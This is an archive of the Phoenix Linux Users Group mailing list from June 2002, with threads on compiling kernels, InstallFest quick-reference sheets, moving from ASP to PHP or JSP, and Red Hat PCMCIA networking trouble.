back. -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 12:57 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Date??? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:18:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 16:18:12 -0400 Subject: Names of last nights presenters? Message-ID: Mike, the red head guy, is Michael Blandford. The other guy is Tal Yardeni. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:24:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 13:24:40 -0700 Subject: Let the facts speak for themselves In-Reply-To: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> References: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> Message-ID: <200206141324.40881.zen2now@qwest.net> this is the most ridiculous statement i have heard from them to date. "As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." M$ is a backdoor, with flashing neon signs saying "EAT AT BILL'S". FUD FUD FUD, that all i hear from them!! slr On Friday 14 June 2002 12:02 pm, dennisk@sahuaro.f2s.com wrote: > May 31, 2002 > > A Microsoft funded white paper titled "Opening the Open Source Debate" > published by AdTI makes this statement: > > "Another security concern is that the primary distribution channel for GPL > open source is the Internet. As opposed to proprietary vendors, open source > is freely downloaded. However, software in the public domain could contain > a critical problem, a backdoor or worse, a dangerous virus." > > June 14, 2002 > > News.com breaks the story that Microsoft distributed Nimda-infected CDs of > Visual Studio .Net in Korea. > > And M$ wonders why no one takes "Trustworthy Computing" seriously. > > > > Dennis Kibbe > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:45:05 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Jay so: > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. You might want to also run lilo to get it to point at the newly compiled kernel as well. Also, shouldn't there be a 'make install' in there to copy the newly compiled kernel over to /vmlinuz? People new to GNU/Linux will also have a problem knowing which options to enable during the 'make (menu|x)config' step. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:48:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:48:29 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Matt Wyant so: > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. Excellent idea. There are small 3 page laminated guides you can pick up at bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would donate some for the InstallFest? A LUG used to have a quick sheet you could print out. It might be somewhere at the LDP. If we can find it, it might be good to have copies at the InstallFest for people to take home with them. I sure could have used that years ago when I was first learning *NIX. I did use one I got for vi when I first started using vi. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:55:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:55:54 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Sigh I accidently hit send before I pasted this link... http://www.quickreferences.yucom.be/quickrefs.htm which has the bash quick ref.... -Derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:53:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:53:56 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Im fairly certain I have an emacs quick reference. Let me dig through my wealth of knowledge file.... Oh yeah duh... http://www.refcards.com/ That helps.. -derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:05:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:05:18 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 16:07:22 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: I dont have the original email but, I recall data doctors saying their program was innappropriate for disseminating the notion of the GNU\Linux operating system, because of the 'older' demographic. Could someone please pass this article: http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 on to the kind people at data doctors? Just because you are old, doesn't mean you are dumb nor that you like vendors to treat you like crap. ;) -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:16:05 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " -----Original Message----- From: Tom Achtenberg [mailto:toma@fh.org] Sent: Friday, June 14, 2002 2:05 PM To: 'PLUG Email list' Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 14:26:18 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <3D0A5F7A.1BE1AE2C@qwest.net> I don't know which is easier to pick up from an ASP point of view, but you could use asp2php to convert your ASP pages to PHP. PHP was very easy to pick up and learn for me. > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:30:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 14:30:10 -0700 (MST) Subject: Quick references Message-ID: I put this together for vi -- http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 17:33:54 -0400 Subject: Switching from ASP to JSP/PHP Message-ID: <20020614213356.DFXY8234.lakemtao06.cox.net@smtp.central.cox.net> PHP is a *lot* less over head (much easier to install). JSP (for me) is easier to use in on a java team (everyone can help with the code). Java tends to scale better (though I'm interested in seeing how the new PHP scales). hmmm one day I should capture all this down. Basically my advise is for just converting us PHP. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/14 Fri PM 05:05:18 EDT To: "'PLUG Email list'" Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:39:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Fri, 14 Jun 2002 14:39:00 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <20020614213900.13337.qmail@web9903.mail.yahoo.com> If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:54:35 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C1@mail.int.fh.org> Money is a concern and Cold Fusion is probably not an option. -----Original Message----- From: Terence Chang [mailto:peanutlen@yahoo.com] Sent: Friday, June 14, 2002 2:39 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Switching from ASP to JSP/PHP If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 15:20:51 -0700 Subject: Linux Dell and HP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C4@mail.int.fh.org> Good article in Information Week about Linux and Dell and HP. http://www.informationweek.com/story/IWK20020607S0018 And one about HP pushing Linux to it's e3000 server clients http://www.informationweek.com/story/IWK20020612S0002 Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Fri, 14 Jun 2002 15:27:29 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <3D0A6DD1.5010101@esaravana.com> I would say, it depends on what type of development you are planning to do. If it is a simple web site, I would say PHP. But if you are planning to implement complex enterprise wide intranet/internet service I will surely do it with Java/JSP. It has very robust frameworks and scales really well with Web frameworks like Struts and Velocity. For moving into JSP you need to learn Java. JSP is just a way of embedding Java in html. Sundar Tom Achtenberg wrote: >Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > >Tom Achtenberg >Developer, Information Technologies >Food for the Hungry / US >(480) 609-7750 (voice) >(480) 443-1420 (fax) >TomA@fh.org >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:27:13 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: If you're interested in converting existing ASP scripts to PHP, then asp2php will help you: http://asp2php.naken.cc/ On Fri, 14 Jun 2002, Tom Achtenberg wrote: > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:34:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:34:07 -0700 (PDT) Subject: Quick references In-Reply-To: Message-ID: Very cool... It would be really beneficial if we had quick sheets like this to hand out to everyone at the InstallFest. We definitely should have one on basic Linux commands, and one for vim would be great too (although I'm more inclined to show them "pico" at first). I'll make a list of common Linux commands and print out about 100 or so for the InstallFest. If anyone else wants to put together a list of commands for other commonly used Linux programs, that'd be great too. ~M On Fri, 14 Jun 2002, William Lindley wrote: > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:43:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 15:43:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 14. Jun, 2002 schwätzte Derek Neighbors so: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 This article reminds me. Jim mentioned the computer club out at our Sun City has asked for people to help their club members. I think we had a couple of people out there, but we could probably use more volunteers. Also, have we made sure the group out there knows about the West Side meetings at GCC? Speaking of meetings at GCC I believe we still need someone to present this month. I've heard great things about Matt's presentation last month, so we should have a large group in again this month. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 15:33:39 -0700 Subject: Quick references References: Message-ID: <3D0A6F43.1FE2AA2F@qwest.net> Nice little Quick Ref guide. > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:00:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:00:16 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Tom, Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) Thanks! Mark Phillips Phillips Marketing, Inc. 480 945-0798 office > > From: Tom Achtenberg > Date: 2002/06/12 Wed PM 01:40:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > Subject: RE: Redhat 7.3 CDs > > If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Wednesday, June 12, 2002 9:29 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > > Stop by New Vision and I'll give you a RH 7.3 CD set. > 1920 E Broadway Rd > Tempe, AZ > > > > On Tue, 11 Jun 2002, Mark Phillips wrote: > > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 16:08:17 -0700 Subject: Redhat 7.3 CDs References: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0A7761.FB2AB4C5@qwest.net> Rebuild the kernel without PCMCIA support builtin, download pcmcia-cs from sourceforge. I had to do this to get it to work on my laptop (Panasonic Toughbook CF-25mkII, P150). Stupid Yenta socket is the problem. I could send you my .config file for kernel 2.4.18 if you want. I got the starter config by downloading the kernel-2.4.18.src.rpm. Installing it (rpm -ivh kernel-2.4.18.src.rpm) and grabbing the appropriate config file from /usr/src/redhat/SOURCES/. Modified it by removing pcmcia support and a few other minor things that my system doesn't do under linux (like video4linux). Rebuilt it, rebooted, built pcmcia. Then was done. > Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. > > I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:12:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:12:46 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614231245.SJNE3097.lakemtao02.cox.net@smtp.east.cox.net> Thanks, I was able to conn a friend into downloading and burning a set for me. However, once installed on my Dell Inspiron 3000 I cannot activate eth0. I think it may be a pcmcia issue (my card ethernet card is pcmcia and not built in). I get a message on bootup for the pcmcia that says something like "ds sockets not available", but the pcmcia service is running and I do get an OK after the message. When I try to configure the network I cannot activate eth0. I am reduced to checking email at the library! If you have any suggestions, please let me know. It may take a few days for me to respond, however. Thanks again! Mark > > From: "slr" > Date: 2002/06/12 Wed PM 04:53:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can > email me off list and i will give you the info you'll need. > > slr > > On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > > working on. > > > > I know the install fest is coming up (I had intended upgrading this old > > machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > > better. > > > > I live in Scottsdale if there is someone close by, but I am willing to > > drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:29:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 14 Jun 2002 16:29:41 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <007701c213fb$5b8c8510$6501a8c0@devlap1> JSP is fairly similar to ASP - you can use request and response objects in both. JSP utilizes a more featured language - java, so you have good room to grow. J2EE also has servlets and EJB technology as you scale up. Our team migrated from ASP to JSP over the last few years without much of a problem. I have only limited experience with PHP and ColdFusion, so my advice is of no use to you there... Let me know if you need any recommendations for a J2EE server if you go that route.... Good Luck ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 14, 2002 2:16 PM Subject: RE: Switching from ASP to JSP/PHP > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > > -----Original Message----- > From: Tom Achtenberg [mailto:toma@fh.org] > Sent: Friday, June 14, 2002 2:05 PM > To: 'PLUG Email list' > Subject: Switching from ASP to JSP/PHP > > > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 14 Jun 2002 16:48:54 -0700 Subject: Quick references References: Message-ID: <3D0A80E6.77590ED2@leml.asu.edu> Matt Alexander wrote: > > Very cool... It would be really beneficial if we had quick sheets like > this to hand out to everyone at the InstallFest. We definitely should > have one on basic Linux commands, and one for vim would be great too > (although I'm more inclined to show them "pico" at first). > I'll make a list of common Linux commands and print out about 100 or so > for the InstallFest. If anyone else wants to put together a list of > commands for other commonly used Linux programs, that'd be great too. > ~M > > On Fri, 14 Jun 2002, William Lindley wrote: > > > I put this together for vi -- > > > > http://www.wlindley.com/gnu/vi.htm somewhere I remember seeing similar that was printed out on a folding sheet that was buisiness card size... I remember being able to put microprocessor assembly instruction quick refrence guides in my pocket... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Fri, 14 Jun 2002 17:14:07 -0700 Subject: Questions References: Message-ID: <002601c21401$9125eda0$6501a8c0@drghastly> Ok, i've look at the man page and tried editing the file, but it will not allow me to save it. I also cannot switch to the command line desktop because KDE GNOME and TWM are the only options....soo.? Not sure where to go from here ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:53 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > I assume by runlevel3 you mean my level of access? <----Noob. > > When your system boots up it consults /etc/inittab to find the default > runlevel. Your inittab most likely has this line: > > id:5:initdefault: > > This tells your system to boot into runlevel 5. 